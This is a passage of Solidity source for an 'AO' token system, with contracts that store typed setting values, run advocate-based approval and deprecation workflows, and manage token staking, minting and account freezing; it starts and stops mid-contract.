// Mapping from settingId to it's actual address value
mapping (uint256 => address) public settingValue;
// Mapping from settingId to it's potential address value that is at pending state
mapping (uint256 => address) public pendingValue;
/**
* @dev Constructor function
*/
constructor() public {}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/***** PUBLIC METHODS *****/
/**
* @dev Set pending value
* @param _settingId The ID of the setting
* @param _value The address value to be set
*/
function setPendingValue(uint256 _settingId, address _value) public inWhitelist {
pendingValue[_settingId] = _value;
}
/**
* @dev Move value from pending to setting
* @param _settingId The ID of the setting
*/
function movePendingToSetting(uint256 _settingId) public inWhitelist {
address _tempValue = pendingValue[_settingId];
delete pendingValue[_settingId];
settingValue[_settingId] = _tempValue;
}
}
/**
* @title AOBoolSetting
*
* This contract stores all AO bool setting variables
*/
contract AOBoolSetting is TheAO {
// Mapping from settingId to it's actual bool value
mapping (uint256 => bool) public settingValue;
// Mapping from settingId to it's potential bool value that is at pending state
mapping (uint256 => bool) public pendingValue;
/**
* @dev Constructor function
*/
constructor() public {}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/***** PUBLIC METHODS *****/
/**
* @dev Set pending value
* @param _settingId The ID of the setting
* @param _value The bool value to be set
*/
function setPendingValue(uint256 _settingId, bool _value) public inWhitelist {
pendingValue[_settingId] = _value;
}
/**
* @dev Move value from pending to setting
* @param _settingId The ID of the setting
*/
function movePendingToSetting(uint256 _settingId) public inWhitelist {
bool _tempValue = pendingValue[_settingId];
delete pendingValue[_settingId];
settingValue[_settingId] = _tempValue;
}
}
/**
* @title AOUintSetting
*
* This contract stores all AO uint256 setting variables
*/
contract AOUintSetting is TheAO {
// Mapping from settingId to it's actual uint256 value
mapping (uint256 => uint256) public settingValue;
// Mapping from settingId to it's potential uint256 value that is at pending state
mapping (uint256 => uint256) public pendingValue;
/**
* @dev Constructor function
*/
constructor() public {}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/***** PUBLIC METHODS *****/
/**
* @dev Set pending value
* @param _settingId The ID of the setting
* @param _value The uint256 value to be set
*/
function setPendingValue(uint256 _settingId, uint256 _value) public inWhitelist {
pendingValue[_settingId] = _value;
}
/**
* @dev Move value from pending to setting
* @param _settingId The ID of the setting
*/
function movePendingToSetting(uint256 _settingId) public inWhitelist {
uint256 _tempValue = pendingValue[_settingId];
delete pendingValue[_settingId];
settingValue[_settingId] = _tempValue;
}
}
/**
* @title AOSettingAttribute
*
* This contract stores all AO setting data/state
*/
contract AOSettingAttribute is TheAO {
NameTAOPosition internal _nameTAOPosition;
struct SettingData {
uint256 settingId; // Identifier of this setting
address creatorNameId; // The nameId that created the setting
address creatorTAOId; // The taoId that created the setting
address associatedTAOId; // The taoId that the setting affects
string settingName; // The human-readable name of the setting
/**
* 1 => uint256
* 2 => bool
* 3 => address
* 4 => bytes32
* 5 => string (catch all)
*/
uint8 settingType;
bool pendingCreate; // State when associatedTAOId has not accepted setting
bool locked; // State when pending anything (cannot change if locked)
bool rejected; // State when associatedTAOId rejected this setting
string settingDataJSON; // Catch-all
}
struct SettingState {
uint256 settingId; // Identifier of this setting
bool pendingUpdate; // State when setting is in process of being updated
address updateAdvocateNameId; // The nameId of the Advocate that performed the update
/**
* A child of the associatedTAOId with the update Logos.
* This tells the setting contract that there is a proposal TAO that is a Child TAO
* of the associated TAO, which will be responsible for deciding if the update to the
* setting is accepted or rejected.
*/
address proposalTAOId;
/**
* Signature of the proposalTAOId and update value by the associatedTAOId
* Advocate's Name's address.
*/
string updateSignature;
/**
* The proposalTAOId moves here when setting value changes successfully
*/
address lastUpdateTAOId;
string settingStateJSON; // Catch-all
}
struct SettingDeprecation {
uint256 settingId; // Identifier of this setting
address creatorNameId; // The nameId that created this deprecation
address creatorTAOId; // The taoId that created this deprecation
address associatedTAOId; // The taoId that the setting affects
bool pendingDeprecated; // State when associatedTAOId has not accepted setting
bool locked; // State when pending anything (cannot change if locked)
bool rejected; // State when associatedTAOId rejected this setting
bool migrated; // State when this setting is fully migrated
// holds the pending new settingId value when a deprecation is set
uint256 pendingNewSettingId;
// holds the new settingId that has been approved by associatedTAOId
uint256 newSettingId;
// holds the pending new contract address for this setting
address pendingNewSettingContractAddress;
// holds the new contract address for this setting
address newSettingContractAddress;
}
struct AssociatedTAOSetting {
bytes32 associatedTAOSettingId; // Identifier
address associatedTAOId; // The TAO ID that the setting is associated to
uint256 settingId; // The Setting ID that is associated with the TAO ID
}
struct CreatorTAOSetting {
bytes32 creatorTAOSettingId; // Identifier
address creatorTAOId; // The TAO ID that the setting was created from
uint256 settingId; // The Setting ID created from the TAO ID
}
struct AssociatedTAOSettingDeprecation {
bytes32 associatedTAOSettingDeprecationId; // Identifier
address associatedTAOId; // The TAO ID that the setting is associated to
uint256 settingId; // The Setting ID that is associated with the TAO ID
}
struct CreatorTAOSettingDeprecation {
bytes32 creatorTAOSettingDeprecationId; // Identifier
address creatorTAOId; // The TAO ID that the setting was created from
uint256 settingId; // The Setting ID created from the TAO ID
}
// Mapping from settingId to it's data
mapping (uint256 => SettingData) internal settingDatas;
// Mapping from settingId to it's state
mapping (uint256 => SettingState) internal settingStates;
// Mapping from settingId to it's deprecation info
mapping (uint256 => SettingDeprecation) internal settingDeprecations;
// Mapping from associatedTAOSettingId to AssociatedTAOSetting
mapping (bytes32 => AssociatedTAOSetting) internal associatedTAOSettings;
// Mapping from creatorTAOSettingId to CreatorTAOSetting
mapping (bytes32 => CreatorTAOSetting) internal creatorTAOSettings;
// Mapping from associatedTAOSettingDeprecationId to AssociatedTAOSettingDeprecation
mapping (bytes32 => AssociatedTAOSettingDeprecation) internal associatedTAOSettingDeprecations;
// Mapping from creatorTAOSettingDeprecationId to CreatorTAOSettingDeprecation
mapping (bytes32 => CreatorTAOSettingDeprecation) internal creatorTAOSettingDeprecations;
/**
* @dev Constructor function
*/
constructor(address _nameTAOPositionAddress) public {
nameTAOPositionAddress = _nameTAOPositionAddress;
_nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress);
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/**
* @dev Add setting data/state
* @param _settingId The ID of the setting
* @param _creatorNameId The nameId that created the setting
* @param _settingType The type of this setting. 1 => uint256, 2 => bool, 3 => address, 4 => bytes32, 5 => string
* @param _settingName The human-readable name of the setting
* @param _creatorTAOId The taoId that created the setting
* @param _associatedTAOId The taoId that the setting affects
* @param _extraData Catch-all string value to be stored if exist
* @return The ID of the "Associated" setting
* @return The ID of the "Creator" setting
*/
function add(uint256 _settingId, address _creatorNameId, uint8 _settingType, string _settingName, address _creatorTAOId, address _associatedTAOId, string _extraData) public inWhitelist returns (bytes32, bytes32) {
// Store setting data/state
require (_storeSettingDataState(_settingId, _creatorNameId, _settingType, _settingName, _creatorTAOId, _associatedTAOId, _extraData));
// Store the associatedTAOSetting info
bytes32 _associatedTAOSettingId = keccak256(abi.encodePacked(this, _associatedTAOId, _settingId));
AssociatedTAOSetting storage _associatedTAOSetting = associatedTAOSettings[_associatedTAOSettingId];
_associatedTAOSetting.associatedTAOSettingId = _associatedTAOSettingId;
_associatedTAOSetting.associatedTAOId = _associatedTAOId;
_associatedTAOSetting.settingId = _settingId;
// Store the creatorTAOSetting info
bytes32 _creatorTAOSettingId = keccak256(abi.encodePacked(this, _creatorTAOId, _settingId));
CreatorTAOSetting storage _creatorTAOSetting = creatorTAOSettings[_creatorTAOSettingId];
_creatorTAOSetting.creatorTAOSettingId = _creatorTAOSettingId;
_creatorTAOSetting.creatorTAOId = _creatorTAOId;
_creatorTAOSetting.settingId = _settingId;
return (_associatedTAOSettingId, _creatorTAOSettingId);
}
/**
* @dev Get Setting Data of a setting ID
* @param _settingId The ID of the setting
*/
function getSettingData(uint256 _settingId) public view returns (uint256, address, address, address, string, uint8, bool, bool, bool, string) {
SettingData memory _settingData = settingDatas[_settingId];
return (
_settingData.settingId,
_settingData.creatorNameId,
_settingData.creatorTAOId,
_settingData.associatedTAOId,
_settingData.settingName,
_settingData.settingType,
_settingData.pendingCreate,
_settingData.locked,
_settingData.rejected,
_settingData.settingDataJSON
);
}
/**
* @dev Get Associated TAO Setting info
* @param _associatedTAOSettingId The ID of the associated tao setting
*/
function getAssociatedTAOSetting(bytes32 _associatedTAOSettingId) public view returns (bytes32, address, uint256) {
AssociatedTAOSetting memory _associatedTAOSetting = associatedTAOSettings[_associatedTAOSettingId];
return (
_associatedTAOSetting.associatedTAOSettingId,
_associatedTAOSetting.associatedTAOId,
_associatedTAOSetting.settingId
);
}
/**
* @dev Get Creator TAO Setting info
* @param _creatorTAOSettingId The ID of the creator tao setting
*/
function getCreatorTAOSetting(bytes32 _creatorTAOSettingId) public view returns (bytes32, address, uint256) {
CreatorTAOSetting memory _creatorTAOSetting = creatorTAOSettings[_creatorTAOSettingId];
return (
_creatorTAOSetting.creatorTAOSettingId,
_creatorTAOSetting.creatorTAOId,
_creatorTAOSetting.settingId
);
}
/**
* @dev Advocate of Setting's _associatedTAOId approves setting creation
* @param _settingId The ID of the setting to approve
* @param _associatedTAOAdvocate The advocate of the associated TAO
* @param _approved Whether to approve or reject
* @return true on success
*/
function approveAdd(uint256 _settingId, address _associatedTAOAdvocate, bool _approved) public inWhitelist returns (bool) {
// Make sure setting exists and needs approval
SettingData storage _settingData = settingDatas[_settingId];
require (_settingData.settingId == _settingId &&
_settingData.pendingCreate == true &&
_settingData.locked == true &&
_settingData.rejected == false &&
_associatedTAOAdvocate != address(0) &&
_associatedTAOAdvocate == _nameTAOPosition.getAdvocate(_settingData.associatedTAOId)
);
if (_approved) {
// Unlock the setting so that advocate of creatorTAOId can finalize the creation
_settingData.locked = false;
} else {
// Reject the setting
_settingData.pendingCreate = false;
_settingData.rejected = true;
}
return true;
}
/**
* @dev Advocate of Setting's _creatorTAOId finalizes the setting creation once the setting is approved
* @param _settingId The ID of the setting to be finalized
* @param _creatorTAOAdvocate The advocate of the creator TAO
* @return true on success
*/
function finalizeAdd(uint256 _settingId, address _creatorTAOAdvocate) public inWhitelist returns (bool) {
// Make sure setting exists and needs approval
SettingData storage _settingData = settingDatas[_settingId];
require (_settingData.settingId == _settingId &&
_settingData.pendingCreate == true &&
_settingData.locked == false &&
_settingData.rejected == false &&
_creatorTAOAdvocate != address(0) &&
_creatorTAOAdvocate == _nameTAOPosition.getAdvocate(_settingData.creatorTAOId)
);
// Update the setting data
_settingData.pendingCreate = false;
_settingData.locked = true;
return true;
}
/**
* @dev Store setting update data
* @param _settingId The ID of the setting to be updated
* @param _settingType The type of this setting
* @param _associatedTAOAdvocate The setting's associatedTAOId's advocate's name address
* @param _proposalTAOId The child of the associatedTAOId with the update Logos
* @param _updateSignature A signature of the proposalTAOId and update value by _associatedTAOAdvocate
* @param _extraData Catch-all string value to be stored if exist
* @return true on success
*/
function update(uint256 _settingId, uint8 _settingType, address _associatedTAOAdvocate, address _proposalTAOId, string _updateSignature, string _extraData) public inWhitelist returns (bool) {
// Make sure setting is created
SettingData memory _settingData = settingDatas[_settingId];
require (_settingData.settingId == _settingId &&
_settingData.settingType == _settingType &&
_settingData.pendingCreate == false &&
_settingData.locked == true &&
_settingData.rejected == false &&
_associatedTAOAdvocate != address(0) &&
_associatedTAOAdvocate == _nameTAOPosition.getAdvocate(_settingData.associatedTAOId) &&
bytes(_updateSignature).length > 0
);
// Make sure setting is not in the middle of updating
SettingState storage _settingState = settingStates[_settingId];
require (_settingState.pendingUpdate == false);
// Make sure setting is not yet deprecated
SettingDeprecation memory _settingDeprecation = settingDeprecations[_settingId];
if (_settingDeprecation.settingId == _settingId) {
require (_settingDeprecation.migrated == false);
}
// Store the SettingState data
_settingState.pendingUpdate = true;
_settingState.updateAdvocateNameId = _associatedTAOAdvocate;
_settingState.proposalTAOId = _proposalTAOId;
_settingState.updateSignature = _updateSignature;
_settingState.settingStateJSON = _extraData;
return true;
}
/**
* @dev Get setting state
* @param _settingId The ID of the setting
*/
function getSettingState(uint256 _settingId) public view returns (uint256, bool, address, address, string, address, string) {
SettingState memory _settingState = settingStates[_settingId];
return (
_settingState.settingId,
_settingState.pendingUpdate,
_settingState.updateAdvocateNameId,
_settingState.proposalTAOId,
_settingState.updateSignature,
_settingState.lastUpdateTAOId,
_settingState.settingStateJSON
);
}
/**
* @dev Advocate of Setting's proposalTAOId approves the setting update
* @param _settingId The ID of the setting to be approved
* @param _proposalTAOAdvocate The advocate of the proposal TAO
* @param _approved Whether to approve or reject
* @return true on success
*/
function approveUpdate(uint256 _settingId, address _proposalTAOAdvocate, bool _approved) public inWhitelist returns (bool) {
// Make sure setting is created
SettingData storage _settingData = settingDatas[_settingId];
require (_settingData.settingId == _settingId && _settingData.pendingCreate == false && _settingData.locked == true && _settingData.rejected == false);
// Make sure setting update exists and needs approval
SettingState storage _settingState = settingStates[_settingId];
require (_settingState.settingId == _settingId &&
_settingState.pendingUpdate == true &&
_proposalTAOAdvocate != address(0) &&
_proposalTAOAdvocate == _nameTAOPosition.getAdvocate(_settingState.proposalTAOId)
);
if (_approved) {
// Unlock the setting so that advocate of associatedTAOId can finalize the update
_settingData.locked = false;
} else {
// Set pendingUpdate to false
_settingState.pendingUpdate = false;
_settingState.proposalTAOId = address(0);
}
return true;
}
/**
* @dev Advocate of Setting's _associatedTAOId finalizes the setting update once the setting is approved
* @param _settingId The ID of the setting to be finalized
* @param _associatedTAOAdvocate The advocate of the associated TAO
* @return true on success
*/
function finalizeUpdate(uint256 _settingId, address _associatedTAOAdvocate) public inWhitelist returns (bool) {
// Make sure setting is created
SettingData storage _settingData = settingDatas[_settingId];
require (_settingData.settingId == _settingId &&
_settingData.pendingCreate == false &&
_settingData.locked == false &&
_settingData.rejected == false &&
_associatedTAOAdvocate != address(0) &&
_associatedTAOAdvocate == _nameTAOPosition.getAdvocate(_settingData.associatedTAOId)
);
// Make sure setting update exists and needs approval
SettingState storage _settingState = settingStates[_settingId];
require (_settingState.settingId == _settingId && _settingState.pendingUpdate == true && _settingState.proposalTAOId != address(0));
// Update the setting data
_settingData.locked = true;
// Update the setting state
_settingState.pendingUpdate = false;
_settingState.updateAdvocateNameId = _associatedTAOAdvocate;
address _proposalTAOId = _settingState.proposalTAOId;
_settingState.proposalTAOId = address(0);
_settingState.lastUpdateTAOId = _proposalTAOId;
return true;
}
/**
* @dev Add setting deprecation
* @param _settingId The ID of the setting
* @param _creatorNameId The nameId that created the setting
* @param _creatorTAOId The taoId that created the setting
* @param _associatedTAOId The taoId that the setting affects
* @param _newSettingId The new settingId value to route
* @param _newSettingContractAddress The address of the new setting contract to route
* @return The ID of the "Associated" setting deprecation
* @return The ID of the "Creator" setting deprecation
*/
function addDeprecation(uint256 _settingId, address _creatorNameId, address _creatorTAOId, address _associatedTAOId, uint256 _newSettingId, address _newSettingContractAddress) public inWhitelist returns (bytes32, bytes32) {
require (_storeSettingDeprecation(_settingId, _creatorNameId, _creatorTAOId, _associatedTAOId, _newSettingId, _newSettingContractAddress));
// Store the associatedTAOSettingDeprecation info
bytes32 _associatedTAOSettingDeprecationId = keccak256(abi.encodePacked(this, _associatedTAOId, _settingId));
AssociatedTAOSettingDeprecation storage _associatedTAOSettingDeprecation = associatedTAOSettingDeprecations[_associatedTAOSettingDeprecationId];
_associatedTAOSettingDeprecation.associatedTAOSettingDeprecationId = _associatedTAOSettingDeprecationId;
_associatedTAOSettingDeprecation.associatedTAOId = _associatedTAOId;
_associatedTAOSettingDeprecation.settingId = _settingId;
// Store the creatorTAOSettingDeprecation info
bytes32 _creatorTAOSettingDeprecationId = keccak256(abi.encodePacked(this, _creatorTAOId, _settingId));
CreatorTAOSettingDeprecation storage _creatorTAOSettingDeprecation = creatorTAOSettingDeprecations[_creatorTAOSettingDeprecationId];
_creatorTAOSettingDeprecation.creatorTAOSettingDeprecationId = _creatorTAOSettingDeprecationId;
_creatorTAOSettingDeprecation.creatorTAOId = _creatorTAOId;
_creatorTAOSettingDeprecation.settingId = _settingId;
return (_associatedTAOSettingDeprecationId, _creatorTAOSettingDeprecationId);
}
/**
* @dev Get Setting Deprecation info of a setting ID
* @param _settingId The ID of the setting
*/
function getSettingDeprecation(uint256 _settingId) public view returns (uint256, address, address, address, bool, bool, bool, bool, uint256, uint256, address, address) {
SettingDeprecation memory _settingDeprecation = settingDeprecations[_settingId];
return (
_settingDeprecation.settingId,
_settingDeprecation.creatorNameId,
_settingDeprecation.creatorTAOId,
_settingDeprecation.associatedTAOId,
_settingDeprecation.pendingDeprecated,
_settingDeprecation.locked,
_settingDeprecation.rejected,
_settingDeprecation.migrated,
_settingDeprecation.pendingNewSettingId,
_settingDeprecation.newSettingId,
_settingDeprecation.pendingNewSettingContractAddress,
_settingDeprecation.newSettingContractAddress
);
}
/**
* @dev Get Associated TAO Setting Deprecation info
* @param _associatedTAOSettingDeprecationId The ID of the associated tao setting deprecation
*/
function getAssociatedTAOSettingDeprecation(bytes32 _associatedTAOSettingDeprecationId) public view returns (bytes32, address, uint256) {
AssociatedTAOSettingDeprecation memory _associatedTAOSettingDeprecation = associatedTAOSettingDeprecations[_associatedTAOSettingDeprecationId];
return (
_associatedTAOSettingDeprecation.associatedTAOSettingDeprecationId,
_associatedTAOSettingDeprecation.associatedTAOId,
_associatedTAOSettingDeprecation.settingId
);
}
/**
* @dev Get Creator TAO Setting Deprecation info
* @param _creatorTAOSettingDeprecationId The ID of the creator tao setting deprecation
*/
function getCreatorTAOSettingDeprecation(bytes32 _creatorTAOSettingDeprecationId) public view returns (bytes32, address, uint256) {
CreatorTAOSettingDeprecation memory _creatorTAOSettingDeprecation = creatorTAOSettingDeprecations[_creatorTAOSettingDeprecationId];
return (
_creatorTAOSettingDeprecation.creatorTAOSettingDeprecationId,
_creatorTAOSettingDeprecation.creatorTAOId,
_creatorTAOSettingDeprecation.settingId
);
}
/**
* @dev Advocate of SettingDeprecation's _associatedTAOId approves deprecation
* @param _settingId The ID of the setting to approve
* @param _associatedTAOAdvocate The advocate of the associated TAO
* @param _approved Whether to approve or reject
* @return true on success
*/
function approveDeprecation(uint256 _settingId, address _associatedTAOAdvocate, bool _approved) public inWhitelist returns (bool) {
// Make sure setting exists and needs approval
SettingDeprecation storage _settingDeprecation = settingDeprecations[_settingId];
require (_settingDeprecation.settingId == _settingId &&
_settingDeprecation.migrated == false &&
_settingDeprecation.pendingDeprecated == true &&
_settingDeprecation.locked == true &&
_settingDeprecation.rejected == false &&
_associatedTAOAdvocate != address(0) &&
_associatedTAOAdvocate == _nameTAOPosition.getAdvocate(_settingDeprecation.associatedTAOId)
);
if (_approved) {
// Unlock the setting so that advocate of creatorTAOId can finalize the creation
_settingDeprecation.locked = false;
} else {
// Reject the setting
_settingDeprecation.pendingDeprecated = false;
_settingDeprecation.rejected = true;
}
return true;
}
/**
* @dev Advocate of SettingDeprecation's _creatorTAOId finalizes the deprecation once the setting deprecation is approved
* @param _settingId The ID of the setting to be finalized
* @param _creatorTAOAdvocate The advocate of the creator TAO
* @return true on success
*/
function finalizeDeprecation(uint256 _settingId, address _creatorTAOAdvocate) public inWhitelist returns (bool) {
// Make sure setting exists and needs approval
SettingDeprecation storage _settingDeprecation = settingDeprecations[_settingId];
require (_settingDeprecation.settingId == _settingId &&
_settingDeprecation.migrated == false &&
_settingDeprecation.pendingDeprecated == true &&
_settingDeprecation.locked == false &&
_settingDeprecation.rejected == false &&
_creatorTAOAdvocate != address(0) &&
_creatorTAOAdvocate == _nameTAOPosition.getAdvocate(_settingDeprecation.creatorTAOId)
);
// Update the setting data
_settingDeprecation.pendingDeprecated = false;
_settingDeprecation.locked = true;
_settingDeprecation.migrated = true;
uint256 _newSettingId = _settingDeprecation.pendingNewSettingId;
_settingDeprecation.pendingNewSettingId = 0;
_settingDeprecation.newSettingId = _newSettingId;
address _newSettingContractAddress = _settingDeprecation.pendingNewSettingContractAddress;
_settingDeprecation.pendingNewSettingContractAddress = address(0);
_settingDeprecation.newSettingContractAddress = _newSettingContractAddress;
return true;
}
/**
* @dev Check if a setting exist and not rejected
* @param _settingId The ID of the setting
* @return true if exist. false otherwise
*/
function settingExist(uint256 _settingId) public view returns (bool) {
SettingData memory _settingData = settingDatas[_settingId];
return (_settingData.settingId == _settingId && _settingData.rejected == false);
}
/**
* @dev Get the latest ID of a deprecated setting, if exist
* @param _settingId The ID of the setting
* @return The latest setting ID
*/
function getLatestSettingId(uint256 _settingId) public view returns (uint256) {
(,,,,,,, bool _migrated,, uint256 _newSettingId,,) = getSettingDeprecation(_settingId);
while (_migrated && _newSettingId > 0) {
_settingId = _newSettingId;
(,,,,,,, _migrated,, _newSettingId,,) = getSettingDeprecation(_settingId);
}
return _settingId;
}
/***** Internal Method *****/
/**
* @dev Store setting data/state
* @param _settingId The ID of the setting
* @param _creatorNameId The nameId that created the setting
* @param _settingType The type of this setting. 1 => uint256, 2 => bool, 3 => address, 4 => bytes32, 5 => string
* @param _settingName The human-readable name of the setting
* @param _creatorTAOId The taoId that created the setting
* @param _associatedTAOId The taoId that the setting affects
* @param _extraData Catch-all string value to be stored if exist
* @return true on success
*/
function _storeSettingDataState(uint256 _settingId, address _creatorNameId, uint8 _settingType, string _settingName, address _creatorTAOId, address _associatedTAOId, string _extraData) internal returns (bool) {
// Store setting data
SettingData storage _settingData = settingDatas[_settingId];
_settingData.settingId = _settingId;
_settingData.creatorNameId = _creatorNameId;
_settingData.creatorTAOId = _creatorTAOId;
_settingData.associatedTAOId = _associatedTAOId;
_settingData.settingName = _settingName;
_settingData.settingType = _settingType;
_settingData.pendingCreate = true;
_settingData.locked = true;
_settingData.settingDataJSON = _extraData;
// Store setting state
SettingState storage _settingState = settingStates[_settingId];
_settingState.settingId = _settingId;
return true;
}
/**
* @dev Store setting deprecation
* @param _settingId The ID of the setting
* @param _creatorNameId The nameId that created the setting
* @param _creatorTAOId The taoId that created the setting
* @param _associatedTAOId The taoId that the setting affects
* @param _newSettingId The new settingId value to route
* @param _newSettingContractAddress The address of the new setting contract to route
* @return true on success
*/
function _storeSettingDeprecation(uint256 _settingId, address _creatorNameId, address _creatorTAOId, address _associatedTAOId, uint256 _newSettingId, address _newSettingContractAddress) internal returns (bool) {
// Make sure this setting exists
require (settingDatas[_settingId].creatorNameId != address(0) && settingDatas[_settingId].rejected == false && settingDatas[_settingId].pendingCreate == false);
// Make sure deprecation is not yet exist for this setting Id
require (settingDeprecations[_settingId].creatorNameId == address(0));
// Make sure newSettingId exists
require (settingDatas[_newSettingId].creatorNameId != address(0) && settingDatas[_newSettingId].rejected == false && settingDatas[_newSettingId].pendingCreate == false);
// Make sure the settingType matches
require (settingDatas[_settingId].settingType == settingDatas[_newSettingId].settingType);
// Store setting deprecation info
SettingDeprecation storage _settingDeprecation = settingDeprecations[_settingId];
_settingDeprecation.settingId = _settingId;
_settingDeprecation.creatorNameId = _creatorNameId;
_settingDeprecation.creatorTAOId = _creatorTAOId;
_settingDeprecation.associatedTAOId = _associatedTAOId;
_settingDeprecation.pendingDeprecated = true;
_settingDeprecation.locked = true;
_settingDeprecation.pendingNewSettingId = _newSettingId;
_settingDeprecation.pendingNewSettingContractAddress = _newSettingContractAddress;
return true;
}
}
/**
* @title AOTokenInterface
*/
contract AOTokenInterface is TheAO, TokenERC20 {
using SafeMath for uint256;
// To differentiate denomination of AO
uint256 public powerOfTen;
/***** NETWORK TOKEN VARIABLES *****/
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public stakedBalance;
mapping (address => uint256) public escrowedBalance;
// This generates a public event on the blockchain that will notify clients
event FrozenFunds(address target, bool frozen);
event Stake(address indexed from, uint256 value);
event Unstake(address indexed from, uint256 value);
event Escrow(address indexed from, address indexed to, uint256 value);
event Unescrow(address indexed from, uint256 value);
/**
* @dev Constructor function
*/
constructor(uint256 initialSupply, string tokenName, string tokenSymbol)
TokenERC20(initialSupply, tokenName, tokenSymbol) public {
powerOfTen = 0;
decimals = 0;
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/**
* @dev Prevent/Allow target from sending & receiving tokens
* @param target Address to be frozen
* @param freeze Either to freeze it or not
*/
function freezeAccount(address target, bool freeze) public onlyTheAO {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/**
* @dev Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
* @param newSellPrice Price users can sell to the contract
* @param newBuyPrice Price users can buy from the contract
*/
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) public onlyTheAO {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/***** NETWORK TOKEN WHITELISTED ADDRESS ONLY METHODS *****/
/**
* @dev Create `mintedAmount` tokens and send it to `target`
* @param target Address to receive the tokens
* @param mintedAmount The amount of tokens it will receive
* @return true on success
*/
function mintToken(address target, uint256 mintedAmount) public inWhitelist returns (bool) {
_mintToken(target, mintedAmount);
return true;
}
/**
* @dev Stake `_value` tokens on behalf of `_from`
* @param _from The address of the target
* @param _value The amount to stake
* @return true on success
*/
function stakeFrom(address _from, uint256 _value) public inWhitelist returns (bool) {
require (balanceOf[_from] >= _value); // Check if the targeted balance is enough
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
stakedBalance[_from] = stakedBalance[_from].add(_value); // Add to the targeted staked balance
emit Stake(_from, _value);
return true;
}
/**
* @dev Unstake `_value` tokens on behalf of `_from`
* @param _from The address of the target
* @param _value The amount to unstake
* @return true on success
*/
function unstakeFrom(address _from, uint256 _value) public inWhitelist returns (bool) {
require (stakedBalance[_from] >= _value); // Check if the targeted staked balance is enough
